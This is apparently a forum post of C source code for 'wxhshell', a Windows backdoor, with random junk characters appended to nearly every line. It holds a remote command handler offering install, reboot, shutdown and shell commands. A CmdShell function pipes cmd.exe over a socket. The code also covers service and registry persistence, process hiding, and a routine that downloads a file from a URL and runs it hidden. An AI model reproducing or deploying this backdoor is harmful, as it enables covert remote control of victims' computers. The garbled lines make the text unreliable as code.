  L5#P[cHzz  
  // 帮助 E_8\f_%wK  
  case '?': { blTo5NLX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |g #K]v  
    break; ^go7_y  
  } :E>HE,1b+  
  // 安装 8"dv_`ym  
  case 'i': { F8;dKyT?q  
    if(Install()) dl ~%MWAVb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?gJy3@D  
    else 6`]$qSTS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A8pIs  
    break; *M$0J'-BQ  
    } zipS ]YD  
  // 卸载 @6mBqcE'?  
  case 'r': { B>GE 9y5  
    if(Uninstall()) Z00+!Tnd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?t" jKp'  
    else qIY~dQ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =!`j7#:  
    break; h\nI!{A0  
    } NGOqy+Ty{f  
  // 显示 wxhshell 所在路径 &|!7Z4N  
  case 'p': { T}"6wywM  
    char svExeFile[MAX_PATH]; b@S Cn9  
    strcpy(svExeFile,"\n\r"); PB#fP_0C  
      strcat(svExeFile,ExeFile); ?r?jl;A&  
        send(wsh,svExeFile,strlen(svExeFile),0); UN zlN  
    break; -5T=:2M  
    } :_t}QP"  
  // 重启 (cN}Epi(D  
  case 'b': { c05%iv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rk7QZVE  
    if(Boot(REBOOT)) IRn2 |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m < 3Ao^I+  
    else { d1U\ft:gV  
    closesocket(wsh); yQ^($#Yk  
    ExitThread(0); <o+<H  
    } ~ug= {b  
    break; Nkp)Ax&  
    } 6S+U&Ce\  
  // 关机 ]p;FZ4-T  
  case 'd': { LxpuhvIO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7oq[38zB  
    if(Boot(SHUTDOWN)) '1$!jmY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*2N{  
    else { g_G6~-.9I  
    closesocket(wsh); e_V O3"  
    ExitThread(0); %-<'QYYP  
    } ppFe-wY  
    break; tUgEeh6  
    } 2Sh  
  // 获取shell NMww>80  
  case 's': { vP !{",>  
    CmdShell(wsh); $ZNu+tn Y  
    closesocket(wsh); $dA-2e1 0  
    ExitThread(0); Q",0F{'  
    break; v76D3'8  
  } e0J6Ae4V[  
  // 退出 z,VD=Hnz  
  case 'x': { jK' N((Hz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^D<r  
    CloseIt(wsh); Ur5FC r  
    break;  +QE^\a  
    } 1.gG^$Jd  
  // 离开 TEMw8@b  
  case 'q': { G 2mX;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); glDh([  
    closesocket(wsh); wbe<'/X+  
    WSACleanup(); 2 ho>eRX  
    exit(1); )=-0M9e.{  
    break; kdn'6>\  
        } A0Zt8>w  
  } bzvh%RsW  
  } E@P %v{)  
Qu7T[ <  
  // 提示信息 >P/][MT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xY$iz)^0&  
} @"o@}9=d  
  } kWNV%RlSx  
v*9<c{a  
  return; 3q`)*  
} HgBGV0  
 :<Fe  
// shell模块句柄 =L C:SFzF  
int CmdShell(SOCKET sock) 5* 0y7K/D  
{ XEdzpkB  
STARTUPINFO si; #rY sj-2  
ZeroMemory(&si,sizeof(si)); HU9Sl*/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4[BG#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QjC22lW-  
PROCESS_INFORMATION ProcessInfo; tOOchu?=  
char cmdline[]="cmd"; iC*F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [xT:]Pw}  
  return 0; EZYBeqv  
} 9 Rx s  
0d3+0EN{  
// 自身启动模式 gd0Vp Xf'  
int StartFromService(void) |,aG%MTL  
{ kFQ8 y~>y}  
typedef struct z Nl ,  
{ J!5v~<v?-  
  DWORD ExitStatus; P<Zh XN'  
  DWORD PebBaseAddress; lw :`M2P,  
  DWORD AffinityMask; D)@YI.T  
  DWORD BasePriority; HFqm6|  
  ULONG UniqueProcessId; 4<x'ocKlD  
  ULONG InheritedFromUniqueProcessId; /'hCi]b@v  
}   PROCESS_BASIC_INFORMATION; \T;\XAGr  
 ru`U'  
PROCNTQSIP NtQueryInformationProcess; 9W8]8sUeG  
%J8|zKT5t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?h0X,fl3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $-&BB(-{E&  
#_B-4sm  
  HANDLE             hProcess; [y0O{,lI  
  PROCESS_BASIC_INFORMATION pbi; HBY.DCN[Z  
2QNNp:`6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i@][rdhT  
  if(NULL == hInst ) return 0; -kS~xVS|  
9m-)Xdoy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8v7 1e>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 93<:RV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dV Q-k  
RID]pek  
  if (!NtQueryInformationProcess) return 0; fl;s9:<  
jA(>sz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zSE<"(a  
  if(!hProcess) return 0; :=9] c17=  
}'OHE(s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fRfn2jA)d  
&h~Xq^  
  CloseHandle(hProcess); 4HAp{a1  
||zb6|7I4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : iiw3#]  
if(hProcess==NULL) return 0; >I<r)w]  
)?2e  
HMODULE hMod; #eN{!Niy&U  
char procName[255]; )9S>Z ZF  
unsigned long cbNeeded; }@+NN ?P  
q\rC5gk >  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &wU'p-V  
8_&CT :u>  
  CloseHandle(hProcess); _Cw:J|l.  
zd_HxYrN  
if(strstr(procName,"services")) return 1; // 以服务启动 X]loJoM9  
|e a~'N1  
  return 0; // 注册表启动 }dxDt qb  
} Bk}><H  
dtPoo\@  
// 主模块 W[[bV  
int StartWxhshell(LPSTR lpCmdLine) Fxc)}i`   
{ dDDGM:]  
  SOCKET wsl; kF;5L)o  
BOOL val=TRUE; hfcIvs/!  
  int port=0; lc6i KFyG  
  struct sockaddr_in door; h8 G5GRD  
/j"sS2$U  
  if(wscfg.ws_autoins) Install(); ^>?CMcN4*  
AkU<g  
port=atoi(lpCmdLine); ?%O3Oi Xz  
j$da8] !  
if(port<=0) port=wscfg.ws_port; 4Iq'/r  
z5*=MlZ)R.  
  WSADATA data; jEz+1Nl)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @=5qT]%U3J  
:y2p@#l#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +uWYK9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UwY-7Mmo  
  door.sin_family = AF_INET; 8SmnMt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hSGb-$~F  
  door.sin_port = htons(port); Og%U  
fn CItK~y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <e%F^#y_  
closesocket(wsl); J!ntXF  
return 1; |KYEK|  
} "&Qctk`<P  
?8, %LIQ?  
  if(listen(wsl,2) == INVALID_SOCKET) { %g]vxm5?  
closesocket(wsl); Zc"B0_&?:7  
return 1; Q/I)V2a1i  
} nH !3(X*  
  Wxhshell(wsl); $XBAZ<"hd  
  WSACleanup(); }%TSGC4{  
OndhLLz  
return 0; `N/RHb%  
6+K_Z\  
} ]=73-ywn]  
d {2  
// 以NT服务方式启动 I1U7.CT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @OV-KT[>  
{ k;dXOn  
DWORD   status = 0; z5Qs @dG  
  DWORD   specificError = 0xfffffff; JM.XH7k  
'rb'7=z5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .r+hERcB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (IbW; bV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [O ",  
  serviceStatus.dwWin32ExitCode     = 0; qJR!$?  
  serviceStatus.dwServiceSpecificExitCode = 0; iO1nwl !#  
  serviceStatus.dwCheckPoint       = 0; aH_6s4+:  
  serviceStatus.dwWaitHint       = 0; hbOnlj4  
rAdacnZV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W&"|}Pi/  
  if (hServiceStatusHandle==0) return; $mA5@O~C5\  
IB9%QW"0  
status = GetLastError(); nL]^$J$  
  if (status!=NO_ERROR) P5QQpY{<I  
{ \ u+xa{b|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aaWJ* >rJ  
    serviceStatus.dwCheckPoint       = 0; UFn8kBk  
    serviceStatus.dwWaitHint       = 0; r!N]$lB  
    serviceStatus.dwWin32ExitCode     = status; ~<qt%W?  
    serviceStatus.dwServiceSpecificExitCode = specificError; C.!_]Pxs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ALd;$fd qf  
    return; Fs/?  
  } bzmr"/#D3  
_'x8M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w8~K/>!f  
  serviceStatus.dwCheckPoint       = 0; j%Y\A~DV  
  serviceStatus.dwWaitHint       = 0; BRG|Asg(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ek.&Sf$cd'  
} B`#h{)[  
$<)Yyi>6E  
// 处理NT服务事件,比如:启动、停止 ekf$dgoR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ublR&zlp  
{ K7vw3UwGN  
switch(fdwControl) Y\/gU8w/  
{ I12KT~z<r  
case SERVICE_CONTROL_STOP: {#Q\z>  
  serviceStatus.dwWin32ExitCode = 0; farDaS[\VY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ://U^sFL  
  serviceStatus.dwCheckPoint   = 0; +zOOdSFk.  
  serviceStatus.dwWaitHint     = 0; z xZtz  
  { zz$q5[n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U!q[e`B  
  } eQX`,9:5  
  return; ,35&G"JK5  
case SERVICE_CONTROL_PAUSE: @y~P&HUN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yig0/ "  
  break; MXAEX2xmme  
case SERVICE_CONTROL_CONTINUE: &w~Xa( uu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 73NZ:h%=  
  break; FY;+PY@I{  
case SERVICE_CONTROL_INTERROGATE: 3=4SGt5m  
  break; 1|y$~R.H  
}; <ZPZk'53<f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#q&(  
} Db03Nk>#  
\ a-CN>  
// 标准应用程序主函数 Fq,N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ddpl Pzm#  
{ Fb Sa~uN  
* crw^e  
// 获取操作系统版本 ')PVGV(D+  
OsIsNt=GetOsVer(); KHj6Tg;)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,I*X) (  
m^Lj+=Z"  
  // 从命令行安装 6517Km 4-  
  if(strpbrk(lpCmdLine,"iI")) Install(); M[Y4_$k<-  
<4?*$  
  // 下载执行文件 }~enEZ  
if(wscfg.ws_downexe) { D,W\ gP/h%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hFb fNB3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z(!pYhLq  
} s^C;>  
c]m! G'L_/  
if(!OsIsNt) { F$6? t.@J  
// 如果时win9x,隐藏进程并且设置为注册表启动 eO4)|tW  
HideProc(); !ng\` |8?  
StartWxhshell(lpCmdLine); 2*[Un(  
} @5Qoi~o  
else F,Fo}YQX  
  if(StartFromService()) V2`;4dX*2  
  // 以服务方式启动 :k"rhI  
  StartServiceCtrlDispatcher(DispatchTable); $AwZ2HY  
else ILG?r9 x  
  // 普通方式启动 1Kc^m\  
  StartWxhshell(lpCmdLine); 7!d$M{0"  
Yw"P)Zp  
return 0; el@XK}<dr  
}
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只看该作者 1 发表于: 2006-10-10
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